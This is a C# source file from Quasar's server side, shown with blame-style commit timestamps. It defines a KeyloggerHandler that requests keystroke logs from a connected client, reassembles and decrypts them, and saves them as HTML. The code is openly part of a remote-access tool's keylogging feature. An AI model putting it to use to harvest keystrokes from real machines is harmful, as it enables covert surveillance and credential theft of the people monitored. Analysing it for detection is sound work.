2018-10-05 21:58:09 +00:00
|
|
|
|
using Quasar.Common.Helpers;
|
2018-10-04 19:49:24 +00:00
|
|
|
|
using Quasar.Common.IO;
|
2018-09-19 15:36:30 +00:00
|
|
|
|
using Quasar.Common.Messages;
|
|
|
|
|
using Quasar.Common.Networking;
|
2018-10-04 19:49:24 +00:00
|
|
|
|
using Quasar.Server.Networking;
|
2018-10-06 11:57:14 +00:00
|
|
|
|
using System;
|
2018-10-05 21:58:09 +00:00
|
|
|
|
using System.IO;
|
2018-09-19 15:36:30 +00:00
|
|
|
|
|
2018-10-04 19:49:24 +00:00
|
|
|
|
namespace Quasar.Server.Messages
|
2018-09-19 15:36:30 +00:00
|
|
|
|
{
|
|
|
|
|
public class KeyloggerHandler : MessageProcessorBase<string>
|
|
|
|
|
{
|
|
|
|
|
/// <summary>
|
|
|
|
|
/// The client which is associated with this keylogger handler.
|
|
|
|
|
/// </summary>
|
|
|
|
|
private readonly Client _client;
|
|
|
|
|
|
|
|
|
|
/// <summary>
|
|
|
|
|
/// Path to the base download directory of the client.
|
|
|
|
|
/// </summary>
|
|
|
|
|
private readonly string _baseDownloadPath;
|
|
|
|
|
|
|
|
|
|
/// <summary>
|
|
|
|
|
/// Initializes a new instance of the <see cref="KeyloggerHandler"/> class using the given client.
|
|
|
|
|
/// </summary>
|
|
|
|
|
/// <param name="client">The associated client.</param>
|
|
|
|
|
public KeyloggerHandler(Client client) : base(true)
|
|
|
|
|
{
|
|
|
|
|
_client = client;
|
|
|
|
|
_baseDownloadPath = Path.Combine(client.Value.DownloadDirectory, "Logs\\");
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
/// <inheritdoc />
|
|
|
|
|
public override bool CanExecute(IMessage message) => message is GetKeyloggerLogsResponse;
|
|
|
|
|
|
|
|
|
|
/// <inheritdoc />
|
|
|
|
|
public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender);
|
|
|
|
|
|
|
|
|
|
/// <inheritdoc />
|
|
|
|
|
public override void Execute(ISender sender, IMessage message)
|
|
|
|
|
{
|
|
|
|
|
switch (message)
|
|
|
|
|
{
|
|
|
|
|
case GetKeyloggerLogsResponse logs:
|
|
|
|
|
Execute(sender, logs);
|
|
|
|
|
break;
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
/// <summary>
|
|
|
|
|
/// Retrieves the keylogger logs and begins downloading them.
|
|
|
|
|
/// </summary>
|
|
|
|
|
public void RetrieveLogs()
|
|
|
|
|
{
|
|
|
|
|
_client.Send(new GetKeyloggerLogs());
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void Execute(ISender client, GetKeyloggerLogsResponse message)
|
|
|
|
|
{
|
|
|
|
|
if (message.FileCount == 0)
|
|
|
|
|
{
|
|
|
|
|
OnReport("Ready");
|
|
|
|
|
return;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// don't escape from download directory
|
2018-10-05 21:58:09 +00:00
|
|
|
|
if (FileHelper.HasIllegalCharacters(message.Filename))
|
2018-09-19 15:36:30 +00:00
|
|
|
|
{
|
|
|
|
|
// disconnect malicious client
|
|
|
|
|
client.Disconnect();
|
|
|
|
|
return;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if (!Directory.Exists(_baseDownloadPath))
|
|
|
|
|
Directory.CreateDirectory(_baseDownloadPath);
|
|
|
|
|
|
|
|
|
|
string downloadPath = Path.Combine(_baseDownloadPath, message.Filename + ".html");
|
|
|
|
|
|
2018-10-29 19:31:17 +00:00
|
|
|
|
var destFile = new FileSplitLegacy(downloadPath);
|
2018-09-19 15:36:30 +00:00
|
|
|
|
|
|
|
|
|
destFile.AppendBlock(message.Block, message.CurrentBlock);
|
|
|
|
|
|
|
|
|
|
if (message.CurrentBlock + 1 == message.MaxBlocks)
|
|
|
|
|
{
|
|
|
|
|
try
|
|
|
|
|
{
|
2019-01-26 14:07:14 +00:00
|
|
|
|
File.WriteAllText(downloadPath, FileHelper.ReadLogFile(downloadPath, _client.Value.AesInstance));
|
2018-09-19 15:36:30 +00:00
|
|
|
|
}
|
2018-10-06 11:57:14 +00:00
|
|
|
|
catch (Exception)
|
2018-09-19 15:36:30 +00:00
|
|
|
|
{
|
2018-10-06 11:57:14 +00:00
|
|
|
|
OnReport("Failed to write logs");
|
2018-09-19 15:36:30 +00:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if (message.Index == message.FileCount)
|
|
|
|
|
{
|
|
|
|
|
OnReport("Ready");
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
protected override void Dispose(bool disposing)
|
|
|
|
|
{
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|